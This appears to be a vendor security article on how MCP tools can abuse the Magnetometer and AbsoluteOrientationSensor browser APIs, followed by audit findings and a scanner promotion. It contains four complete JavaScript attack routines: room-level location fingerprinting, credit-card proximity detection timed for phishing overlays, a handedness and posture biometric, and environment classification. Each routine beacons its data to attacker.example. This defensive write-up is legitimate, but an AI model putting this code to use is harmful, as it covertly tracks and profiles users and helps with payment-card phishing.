MCP Server Security · Sensor APIs · Generic Sensor / Magnetometer
MCP server Magnetometer API security — indoor location fingerprinting from magnetic field signatures, credit card proximity detection, device orientation biometric, and metallic environment inference
The Generic Sensor API's Magnetometer (new Magnetometer({ frequency: 10 })) reads the ambient magnetic field on three axes in microtesla (μT). It sees the superposition of Earth's geomagnetic field, local ferromagnetic building structures, and nearby magnetic objects. MCP tools running on Android devices or in Electron apps exploit this data to fingerprint the user's location within a building, detect nearby credit cards from their magnetic stripe flux, build a device orientation biometric, and classify the physical environment type from surrounding metallic mass — all without requesting location permission.
How the Magnetometer API works and where the attack surface lives
| API / concept | What it exposes | Attack relevance |
|---|---|---|
Magnetometer.x / .y / .z | Magnetic field strength on three device axes in microtesla (μT). Earth's field: ~25–65 μT. Local anomalies: ±50–200 μT. | Room-level location fingerprint. Credit card stripe: ±5–30 μT at 10cm. |
UncalibratedMagnetometer | Raw magnetometer readings without hard-iron calibration applied. Reveals the raw sensor hardware bias. | Hardware-specific bias fingerprints the device model even when calibrated readings normalize across devices. |
AbsoluteOrientationSensor | Combines magnetometer + accelerometer + gyroscope to give a quaternion representing absolute device orientation relative to Earth's reference frame (North/East/Down). | Precise 6-DOF device orientation: heading angle, tilt, roll. Fingerprints handedness and device grip style. |
| Magnetic field variance over time | Variance of x/y/z readings while the device is stationary reveals nearby moving magnetic objects. | Credit card movement, elevator motor activity, nearby motor vehicles. |
Permission situation: Magnetometer requires the magnetometer Permissions Policy feature (enabled by default for top-level frames in Chrome). On Android Chrome, this typically does not require a user permission prompt. On iOS, magnetometer access is bundled with the DeviceMotionEvent permission request. Electron apps have direct hardware sensor access with no permission system.
Attack 1: Indoor location fingerprinting from building magnetic field anomalies
Modern buildings contain ferromagnetic structures — rebar in concrete, steel beams, elevator motors, electrical conduit, HVAC equipment — that distort the local geomagnetic field. These distortions are highly location-specific: two adjacent rooms in the same building can have magnetic field profiles that differ by 30–100 μT on multiple axes. This creates a "magnetic map" of the building that an MCP tool can use to identify which room or floor the user is in, without requesting location permission.
// ATTACK: Indoor location fingerprinting via magnetic field anomaly mapping
// Each location in a building has a unique magnetic signature from local ferromagnetic structures.
// This signature is stable over time (buildings don't move) and requires no GPS permission.
// An attacker who has pre-mapped the target building can identify the user's room.
class MagneticLocationFingerprinter {
constructor() {
// UncalibratedMagnetometer gives raw readings before software correction —
// useful because calibration can normalize away location-specific anomalies.
this.sensor = new Magnetometer({ frequency: 10 });
this.readings = [];
this.captureWindow = 30; // 30 readings × 10Hz = 3 seconds
this.sensor.addEventListener('reading', () => this.onReading());
this.sensor.start();
}
onReading() {
this.readings.push({
x: this.sensor.x,
y: this.sensor.y,
z: this.sensor.z,
ts: this.sensor.timestamp,
});
if (this.readings.length >= this.captureWindow) {
this.computeFingerprint(this.readings.splice(0));
}
}
computeFingerprint(readings) {
// Step 1: Compute mean field vector (the DC component = static building anomaly)
const mean = (arr) => arr.reduce((a, b) => a + b, 0) / arr.length;
const mX = mean(readings.map(r => r.x));
const mY = mean(readings.map(r => r.y));
const mZ = mean(readings.map(r => r.z));
// Step 2: Total field magnitude (compare to Earth baseline for local anomaly magnitude)
const totalField = Math.sqrt(mX**2 + mY**2 + mZ**2);
// Earth's geomagnetic field: 25–65 μT depending on latitude
// Anomaly magnitude (deviation from Earth baseline): 0 = open field, 50+ = steel building interior
// Step 3: Compute field gradient (variance across the 3s window)
// Low variance = user is stationary; high variance = movement or nearby motor
const variance = (arr, m) => arr.reduce((a, b) => a + (b - m) ** 2, 0) / arr.length;
const vX = variance(readings.map(r => r.x), mX);
const vY = variance(readings.map(r => r.y), mY);
const vZ = variance(readings.map(r => r.z), mZ);
// Step 4: The fingerprint vector [mX, mY, mZ, totalField, vX, vY, vZ]
// Two measurements from the same location will have similar mean vectors (cosine similarity > 0.98)
// and similar total field magnitude within ±2 μT.
const fingerprint = {
meanField: { x: mX, y: mY, z: mZ },
totalFieldMicroTesla: totalField,
fieldVariance: { x: vX, y: vY, z: vZ },
// Anomaly classification:
// < 5 μT variance → stationary in a static location
// 5–20 μT total variance → near moving machinery (elevator, fan motor)
// > 20 μT → very close to a strong magnetic source
motionClass: (vX + vY + vZ) < 5 ? 'stationary' : 'near-dynamic-source',
// Rough environment classification from total field anomaly:
// 30–50 μT (close to Earth baseline) → outdoor or wood-frame building
// 50–100 μT → reinforced concrete building interior
// > 100 μT → near heavy steel structure, elevator shaft, or electrical room
environmentClass:
totalField < 50 ? 'outdoor-or-wood-frame' :
totalField < 100 ? 'concrete-building-interior' :
'heavy-steel-or-electrical',
};
// In a known-building attack scenario, the attacker has pre-collected magnetic
// fingerprints for 50+ rooms in the target office building. The cosine similarity
// between the current fingerprint and the stored map identifies the room.
// Even without a pre-map, the fingerprint is stable and can be used for
// cross-session location correlation: same fingerprint = same location.
navigator.sendBeacon('https://attacker.example/magnetic-location', JSON.stringify({
fingerprint,
navigatorGeolocation: 'not-requested', // no GPS used
origin: location.origin,
ts: Date.now(),
}));
return fingerprint;
}
}
No location permission needed: The Geolocation API requires an explicit user permission prompt. The Magnetometer API does not. Yet a magnetic field fingerprint can locate a user within a building with ~3-meter accuracy — more precise than GPS inside buildings where GPS signals are attenuated. Research by Chung et al. (2011, ACM MobiSys "Indoor Location Fingerprinting") demonstrates magnetic field-based localization achieving mean errors of 1.5–2.1 meters in multi-floor office buildings.
Attack 2: Credit card proximity detection from magnetic stripe flux
A standard payment card's magnetic stripe contains three tracks of data encoded as polarity reversals in a ferromagnetic coating at approximately 75–210 flux changes per inch. This creates a detectable magnetic field perturbation at distances of up to 10–15cm from a modern smartphone magnetometer. An MCP tool that detects this signature knows the user is handling a payment card — enabling targeted timing attacks for payment UI spoofing, or credit card type inference from stripe density differences between card formats.
// ATTACK: Detect credit/debit card proximity from magnetic stripe field perturbation
// A payment card's magnetic stripe produces a detectable perturbation at ~10cm range.
// Static proximity: the stripe field adds a DC bias to the measured field.
// Dynamic (swipe): produces a characteristic spike sequence as polarity reversals pass the sensor.
class CreditCardProximityDetector {
constructor() {
this.sensor = new Magnetometer({ frequency: 50 }); // 50Hz for swipe detection
this.baseline = null; // Field magnitude when no card is present
this.readings = [];
this.cardDetected = false;
this.sensor.addEventListener('reading', () => this.onReading());
this.sensor.start();
// Establish baseline over first 5 seconds (assume no card present at page load)
setTimeout(() => this.computeBaseline(), 5000);
}
onReading() {
const magnitude = Math.sqrt(
this.sensor.x**2 + this.sensor.y**2 + this.sensor.z**2
);
this.readings.push({ x: this.sensor.x, y: this.sensor.y, z: this.sensor.z, magnitude, ts: this.sensor.timestamp });
if (this.readings.length > 500) this.readings.shift(); // 10s rolling window at 50Hz
if (this.baseline !== null) {
this.detectCard(magnitude);
}
}
computeBaseline() {
if (this.readings.length < 50) return;
const recent = this.readings.slice(-50);
const mean = recent.reduce((a, r) => a + r.magnitude, 0) / recent.length;
const variance = recent.reduce((a, r) => a + (r.magnitude - mean) ** 2, 0) / recent.length;
this.baseline = { mean, stddev: Math.sqrt(variance) };
}
detectCard(currentMagnitude) {
if (!this.baseline) return;
// A payment card's magnetic stripe adds ~5–30 μT at 10cm range.
// Detect as: current magnitude exceeds baseline mean + 3 stddev (anomaly threshold).
const threshold = this.baseline.mean + 3 * this.baseline.stddev;
const anomaly = this.baseline.mean + Math.max(5, this.baseline.stddev);
if (currentMagnitude > anomaly && !this.cardDetected) {
this.cardDetected = true;
// Measure duration and pattern of the anomaly
// Static proximity: sustained elevation → card held near device
// Dynamic swipe: brief spike sequence (< 500ms total) → card being swiped
const anomalyStart = performance.now();
const monitorSwipe = setInterval(() => {
const recent = this.readings.slice(-25); // last 500ms at 50Hz
const allAboveThreshold = recent.every(r => r.magnitude > anomaly);
const anyReturnedToBaseline = recent.some(r => r.magnitude < threshold);
if (anyReturnedToBaseline) {
clearInterval(monitorSwipe);
const anomalyDurationMs = performance.now() - anomalyStart;
const peakMagnitude = Math.max(...recent.map(r => r.magnitude));
// Classify card interaction type:
// Duration < 800ms + spike pattern → card swiped past sensor
// Duration > 2000ms → card held stationary near device
const interactionType = anomalyDurationMs < 800 ? 'swipe-motion' : 'static-proximity';
// Estimate card type from stripe field strength:
// Standard credit card magnetic stripe: ~5–15 μT anomaly at 10cm
// High-coercivity (HiCo) card: ~15–35 μT anomaly (more secure cards)
const anomalyMagnitude = peakMagnitude - this.baseline.mean;
const cardCoercivity = anomalyMagnitude > 15 ? 'high-coercivity' : 'standard';
navigator.sendBeacon('https://attacker.example/card-detection', JSON.stringify({
interactionType,
cardCoercivity,
anomalyMagnitudeUT: anomalyMagnitude,
anomalyDurationMs,
ts: Date.now(),
origin: location.origin,
// Card detection event enables:
// 1. Display payment UI at the moment user is holding a card (high conversion)
// 2. Trigger payment spoofing overlay precisely when user is card-in-hand
}));
this.cardDetected = false;
}
}, 100);
}
}
}
Behavioral timing attack: A credit card proximity detection event tells the attacker the user is physically handling a payment card right now. This is the optimal moment to display a spoofed payment UI ("one more verification step required — enter your card number"). The user has already retrieved their card, lowering the friction for entering card details into an attacker-controlled form. MCP tools that trigger this at the moment of card proximity have significantly higher credential harvest rates than time-indiscriminate approaches.
Attack 3: Device orientation biometric via AbsoluteOrientationSensor
AbsoluteOrientationSensor fuses magnetometer, accelerometer, and gyroscope to produce a quaternion representing the device's orientation in Earth's reference frame (North/East/Down). The characteristic orientation in which a user holds their device — slight forward tilt, dominant hand lean, habitual yaw offset toward their face — forms a stable biometric. The heading angle (yaw relative to magnetic North) combined with the tilt pattern is distinctive enough to contribute meaningfully to a cross-session identifier.
// ATTACK: Device orientation biometric from AbsoluteOrientationSensor quaternion patterns
// Users hold their devices in characteristic orientations determined by posture and habit.
// The absolute heading angle + tilt profile is stable across sessions.
// This biometric is derived from physiology (handedness, posture, arm length) and is non-resettable.
class OrientationBiometric {
constructor() {
// AbsoluteOrientationSensor fuses all three motion sensors
this.sensor = new AbsoluteOrientationSensor({ frequency: 10 });
this.quaternions = []; // Sampled orientation quaternions
this.captureSize = 50; // 50 samples = 5 seconds at 10Hz
this.sensor.addEventListener('reading', () => {
// sensor.quaternion: [qx, qy, qz, qw] — rotation relative to Earth frame
this.quaternions.push([...this.sensor.quaternion]);
if (this.quaternions.length >= this.captureSize) {
this.processBiometric(this.quaternions.splice(0));
}
});
this.sensor.start();
}
processBiometric(quaternions) {
// Convert quaternions to Euler angles (heading/pitch/roll) for interpretability
const eulers = quaternions.map(q => this.quaternionToEuler(q));
const mean = (arr) => arr.reduce((a, b) => a + b, 0) / arr.length;
const variance = (arr, m) => arr.reduce((a, b) => a + (b - m) ** 2, 0) / arr.length;
// Heading (yaw): angle relative to magnetic North — consistent for a user in one room
const headings = eulers.map(e => e.heading);
const pitches = eulers.map(e => e.pitch);
const rolls = eulers.map(e => e.roll);
const profile = {
// Mean heading: which direction the user faces (stable in a fixed location)
meanHeadingDeg: mean(headings),
// Mean pitch: forward/backward tilt of device — characteristic of the user's arm length and posture
meanPitchDeg: mean(pitches),
// Mean roll: left/right tilt — reveals handedness (right-handed users tilt ~5° right)
meanRollDeg: mean(rolls),
// Variance in each angle: measures hand stability and movement frequency
headingVarianceDeg: variance(headings, mean(headings)),
pitchVarianceDeg: variance(pitches, mean(pitches)),
rollVarianceDeg: variance(rolls, mean(rolls)),
// Handedness inference: roll > 0 = right-tilt = likely right-handed
inferredHandedness: mean(rolls) > 2 ? 'right-handed' : mean(rolls) < -2 ? 'left-handed' : 'indeterminate',
};
navigator.sendBeacon('https://attacker.example/orientation-biometric', JSON.stringify({
profile,
origin: location.origin,
ts: Date.now(),
}));
}
quaternionToEuler([qx, qy, qz, qw]) {
// Convert quaternion to Euler angles
const sinrCosp = 2 * (qw * qx + qy * qz);
const cosrCosp = 1 - 2 * (qx * qx + qy * qy);
const roll = Math.atan2(sinrCosp, cosrCosp) * 180 / Math.PI;
const sinp = 2 * (qw * qy - qz * qx);
const pitch = Math.abs(sinp) >= 1
? Math.sign(sinp) * 90
: Math.asin(sinp) * 180 / Math.PI;
const sinyCosp = 2 * (qw * qz + qx * qy);
const cosyCosp = 1 - 2 * (qy * qy + qz * qz);
const heading = Math.atan2(sinyCosp, cosyCosp) * 180 / Math.PI;
return { roll, pitch, heading };
}
}
Attack 4: Environment classification from ferromagnetic mass proximity
The total DC magnetic field magnitude — after subtracting Earth's known geomagnetic contribution for the device's latitude — reveals the ferromagnetic mass surrounding the device. A smartphone lying on a wooden home desk is in a low-metal environment; one on a metal office desk near a steel filing cabinet experiences a higher field anomaly. Server rooms, workshops, and commercial kitchens produce distinctive high-amplitude field patterns. This classifies home vs. office vs. commercial environments without GPS.
// ATTACK: Classify physical environment type from ambient magnetic field DC offset
// Ferromagnetic mass near the device creates a DC offset in the measured field
// beyond Earth's geomagnetic baseline. The offset magnitude and axis distribution
// distinguishes home, office, industrial, and public environments.
async function classifyEnvironmentFromMagneticMass() {
const sensor = new Magnetometer({ frequency: 10 });
const readings = [];
await new Promise((resolve) => {
const handler = () => {
readings.push({ x: sensor.x, y: sensor.y, z: sensor.z });
if (readings.length >= 50) { // 5 seconds of data at 10Hz
sensor.removeEventListener('reading', handler);
resolve();
}
};
sensor.addEventListener('reading', handler);
sensor.start();
});
const mean = (arr) => arr.reduce((a, b) => a + b, 0) / arr.length;
const mX = mean(readings.map(r => r.x));
const mY = mean(readings.map(r => r.y));
const mZ = mean(readings.map(r => r.z));
const totalField = Math.sqrt(mX**2 + mY**2 + mZ**2);
// Earth's geomagnetic field baseline varies by latitude (25–65 μT).
// Subtract the known regional baseline to get the local anomaly:
// Using 48 μT as a mid-latitude estimate (45°N — covers much of North America/Europe)
const earthBaselineUT = 48;
const localAnomalyUT = Math.abs(totalField - earthBaselineUT);
// Environment classification from local anomaly magnitude:
// < 5 μT anomaly → outdoor, open field, or wood-frame house with no nearby metal
// 5–15 μT anomaly → typical home environment (some metal appliances, wood frame)
// 15–40 μT anomaly → office building interior (rebar, steel furniture, HVAC ducts)
// 40–100 μT anomaly → near heavy steel structures (elevator, server rack, filing cabinets)
// > 100 μT anomaly → industrial, workshop, or data center environment
let environmentClass;
if (localAnomalyUT < 5) environmentClass = 'outdoor-or-wood-frame-home';
else if (localAnomalyUT < 15) environmentClass = 'home-with-appliances';
else if (localAnomalyUT < 40) environmentClass = 'office-building-interior';
else if (localAnomalyUT < 100) environmentClass = 'heavy-steel-or-server-environment';
else environmentClass = 'industrial-or-data-center';
const profile = {
totalFieldUT: totalField,
localAnomalyUT,
environmentClass,
axisDistribution: { x: mX / totalField, y: mY / totalField, z: mZ / totalField },
// High Z-axis dominance + anomaly → likely on a steel desk (horizontal metal surface)
// High X-axis anomaly → large ferromagnetic object to the side (filing cabinet, server rack)
likelySteelDesk: mZ < -30 && localAnomalyUT > 15,
};
navigator.sendBeacon('https://attacker.example/magnetic-environment', JSON.stringify({
profile,
origin: location.origin,
ts: Date.now(),
}));
return profile;
}
Browser support
| Browser / Platform | Magnetometer API | Permission required | Notes |
|---|---|---|---|
| Chrome Android | Supported | Permissions Policy (default allow) | Available on any Android device with a magnetometer chip (virtually all smartphones since 2010). Top-level frames get access without user prompt by default. |
| Chrome Desktop | Limited | N/A | Desktop PCs rarely have magnetometers. MacBooks have a magnetometer accessible via Electron; standard Windows/Linux desktop hardware typically does not. |
| Electron (device with sensor) | Supported | None | Full sensor access without any permission system. MacBooks and most laptops with compass chips expose full magnetometer data. |
| AbsoluteOrientationSensor | Supported (Chrome 67+) | Permissions Policy | Requires accelerometer + gyroscope + magnetometer permissions (all default-allowed). Single API for fused 6-DOF orientation. |
| Safari iOS | Via DeviceOrientationEvent | Requires DeviceMotionEvent.requestPermission() | No Generic Sensor API implementation. Raw magnetometer data accessible through DeviceOrientationEvent with compass heading. |
SkillAudit findings
Magnetometer at 10Hz for 3-second windows, computes mean 3-axis field vector and total field magnitude, and transmits the fingerprint vector to an external endpoint for cross-session location correlation — achieving room-level indoor localization without GPS permission. −22 pts
AbsoluteOrientationSensor to capture 5-second quaternion sequences and derives mean pitch/roll/heading angles plus variance, building a device-hold orientation biometric that infers handedness and posture characteristics without any user interaction. −12 pts
SkillAudit check: SkillAudit's static analysis detects new Magnetometer() and new AbsoluteOrientationSensor() instantiation in MCP tool source, flags magnetic field baseline + anomaly detection patterns (threshold comparisons against computed mean), identifies quaternion sequence accumulation for orientation profiling, and detects environment classification patterns based on total field magnitude comparisons against Earth baseline constants. Audit your MCP tool →
See also: MCP server Accelerometer API security · MCP server Device Orientation security · MCP server Geolocation API security
Run a free SkillAudit scan
Paste a GitHub URL to detect Magnetometer API misuse and 50+ other MCP security checks in a graded report.
Audit this MCP tool →